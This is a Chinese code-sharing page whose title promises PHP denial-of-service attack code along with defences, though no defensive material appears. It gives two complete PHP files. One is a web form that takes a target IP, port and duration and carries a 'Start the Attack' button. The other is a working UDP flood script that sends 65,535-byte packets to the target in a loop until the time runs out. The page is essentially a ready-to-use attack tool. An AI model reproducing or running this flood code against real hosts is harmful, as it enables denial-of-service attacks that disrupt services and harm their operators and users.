php DOS攻击实现代码(附如何防范)

时间:2021-11-08 03:56:14

index.php 

复制代码代码如下:


<?php 
$ip = $_SERVER['REMOTE_ADDR']; 
?> 
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> 
<html> 
<head> 
<meta http-equiv="content-type" content="text/html; charset=iso-8859-1"> 
<meta name="author" content=""> 
<title>PHP DoS, Coded by EXE</title> 
</head> 
<!-- PHP DOS, coded by EXE --> 
<style type="text/css"> 
<!-- 
body { 
font-family: Arial, Helvetica, sans-serif; 
font-size: 12px; 
font-style: normal; 
line-height: normal; 
color: #FFFFFF; 
background-color: #000000; 

--> 
</style> 
<!-- PHP DOS, coded by EXE --> 
<body> 
<center><br><br> 
<img src="main.jpg"><br> 
<b>Your IP:</b> <font color="red"><?php echo $ip; ?></font> (Don't DoS yourself nub)<br><br> 
<form name="input" action="function.php" method="post"> 
IP: 
<input type="text" name="ip" size="15" maxlength="15" class="main" value = "0.0.0.0" onblur = "if ( this.value=='' ) this.value = '0.0.0.0';" onfocus = " if ( this.value == '0.0.0.0' ) this.value = '';"> 
    Time: 
<input type="text" name="time" size="14" maxlength="20" class="main" value = "time (in seconds)" onblur = "if ( this.value=='' ) this.value = 'time (in seconds)';" onfocus = " if ( this.value == 'time (in seconds)' ) this.value = '';"> 
    Port: 
<input type="text" name="port" size="5" maxlength="5" class="main" value = "port" onblur = "if ( this.value=='' ) this.value = 'port';" onfocus = " if ( this.value == 'port' ) this.value = '';"> 
<br><br> 
<input type="submit" value=" Start the Attack---> "> 
<br><br> 
<center> 
After initiating the DoS attack, please wait while the browser loads. 
</center> 
</form> 
</center> 
<!-- PHP DOS, coded by EXE --> 
</body> 
</html> 


function.php 

复制代码代码如下:


<?php 
//================================================= 
//PHP DOS v1.8 (Possibly Stronger Flood Strength) 
//Coded by EXE 
//================================================= 
$packets = 0; 
$ip = $_POST['ip']; 
$rand = $_POST['port']; 
set_time_limit(0); 
ignore_user_abort(FALSE); 
$exec_time = $_POST['time']; 
$time = time(); 
print "Flooded: $ip on port $rand <br><br>"; 
$max_time = $time+$exec_time; 
for($i=0;$i<65535;$i++){ 
$out .= "X"; 

while(1){ 
$packets++; 
if(time() > $max_time){ 
break; 

$fp = fsockopen("udp://$ip", $rand, $errno, $errstr, 5); 
if($fp){ 
fwrite($fp, $out); 
fclose($fp); 


echo "Packet complete at ".time('h:i:s')." with $packets (" . round(($packets*65)/1024, 2) . " mB) packets averaging ". round($packets/$exec_time, 2) . " packets/s \n"; 
?>